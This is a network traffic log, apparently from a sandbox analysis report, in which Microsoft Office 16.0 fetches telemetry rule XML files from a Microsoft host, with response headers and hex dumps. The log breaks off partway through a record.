2025-03-13 09:08:30 UTC	199	OUT	GET /rules/rule701651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:30 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:30 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF17222B" x-ms-request-id: 2d6a8cca-f01e-001f-4ff7-935dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090830Z-16c75594899ppct7hC1MEMvyrs0000000aq00000000002dg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:30 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 74 69 76 69 74 79 46 65 65 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ActivityFeed.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.12	49777	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:32 UTC	199	OUT	GET /rules/rule701650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:33 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:32 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6D6DA46" x-ms-request-id: 4a708ed9-701e-0050-29f7-936767000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090832Z-16c75594899ppct7hC1MEMvyrs0000000ak00000000012ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:33 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 74 69 76 69 74 79 46 65 65 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 63 74 69 76 69 74 79 46 65 65 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ActivityFeed" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenActivityFeed" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.12	49779	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:32 UTC	199	OUT	GET /rules/rule702450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:33 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32CD4D2" x-ms-request-id: 495f06d5-f01e-00aa-4ff7-938521000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090832Z-16c75594899w8g75hC1MEMvwxw0000000ccg0000000007t2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 63 65 73 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 63 63 65 73 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Access" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAccess" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.12	49778	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:32 UTC	199	OUT	GET /rules/rule702451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:33 UTC	522	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:52 GMT ETag: "0x8DC582BE4D75D62" x-ms-request-id: bf1bd8c2-501e-00a0-59ac-939d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090832Z-16c75594899kql76hC1MEM0bv800000008ng000000001s2y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-03-13 09:08:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 63 65 73 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 63 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Access.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAcc

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.12	49780	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:32 UTC	199	OUT	GET /rules/rule701101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:33 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:33 GMT Content-Type: text/xml Content-Length: 1411 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC12C03" x-ms-request-id: 2d6a935c-f01e-001f-1af7-935dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090833Z-16c75594899cd7hvhC1MEMapks0000000990000000001hrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:33 UTC	1411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 63 65 73 73 69 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Accessibility.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.12	49781	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:33 UTC	199	OUT	GET /rules/rule701100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:33 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:33 GMT Content-Type: text/xml Content-Length: 1374 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE67D2E9E" x-ms-request-id: e3749e46-e01e-001f-4ff7-931633000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090833Z-16c755948995d9sghC1MEMz5yw00000007x00000000007c8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:33 UTC	1374	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 63 65 73 73 69 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 63 63 65 73 73 69 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Accessibility" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAccessibility" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.12	49783	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:35 UTC	199	OUT	GET /rules/rule120128v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:35 GMT Content-Type: text/xml Content-Length: 658 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:40 GMT ETag: "0x8DC582B95FA6908" x-ms-request-id: bcf4b337-101e-00a2-1bad-919f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090835Z-16c75594899ppct7hC1MEMvyrs0000000ak00000000012cr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-13 09:08:35 UTC	658	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 55 73 65 72 43 68 61 6e 67 65 64 44 69 61 67 6e 6f 73 74 69 63 4c 65 76 65 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120128" V="0" DC="SM" EN="Office.System.UserChangedDiagnosticLevel" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticuserinessImpact" DL="A" DCa="PSU" xmlns="">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.12	49784	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:35 UTC	199	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:35 UTC	522	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:35 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: ca9b156e-801e-0083-03ed-93f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090835Z-16c75594899f6qjphC1MEMpr5c0000000c3g000000002016 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-03-13 09:08:35 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticuserinessImpact" E="false" DL=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.12	49785	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:35 UTC	199	OUT	GET /rules/rule120607v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:35 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:35 GMT Content-Type: text/xml Content-Length: 204 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6C8527A" x-ms-request-id: 9d411845-201e-0033-67ed-93b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090835Z-16c75594899kql76hC1MEM0bv800000008q00000000016sd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-03-13 09:08:35 UTC	204	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 37 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 45 52 3d 22 31 32 30 36 30 33 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 62 70 7a 73 22 20 41 3d 22 39 34 30 74 63 20 39 78 35 6a 73 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120607" V="1" DC="SM" T="Subrule" ER="120603" xmlns=""> <S> <UTS T="1" Id="bbpzs" A="940tc 9x5js" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.12	49786	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:35 UTC	199	OUT	GET /rules/rule120119v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:36 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:36 GMT Content-Type: text/xml Content-Length: 1331 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:55 GMT ETag: "0x8DC582B9ECD1957" x-ms-request-id: 33c34a62-d01e-0066-12f7-93ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090835Z-16c75594899n4lsthC1MEMhqr40000000710000000001y82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:36 UTC	1331	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 52 6f 6c 6c 62 61 63 6b 53 65 73 73 69 6f 6e 4d 65 74 61 64 61 74 61 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120119" V="0" DC="SM" EN="Office.System.SystemHealthRollbackSessionMetadata" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSU" xmlns="">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.12	49787	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:36 UTC	199	OUT	GET /rules/rule224900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:36 GMT Content-Type: text/xml Content-Length: 443 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:32 GMT ETag: "0x8DC582BD91CC9CE" x-ms-request-id: 2d713cee-e01e-0003-44ad-910fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090836Z-16c75594899kfxz8hC1MEMp6tc000000094g000000001dc3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-13 09:08:36 UTC	443	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 62 72 35 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 44 6f 4c 69 63 56 61 6c 69 64 61 74 69 6f 6e 4d 6f 64 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224900" V="0" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bbr5m" /> <F T="2"> <O T="EQ"> <L> <S T="1" F="DoLicValidationMode" /> </L> <R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.12	49790	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:37 UTC	199	OUT	GET /rules/rule704101v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:38 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE53D8A48" x-ms-request-id: 94227673-f01e-0085-79f7-9388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090838Z-16c75594899cd7hvhC1MEMapks000000095g0000000028n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 31 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 69 76 61 63 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704101" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Privacy.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> 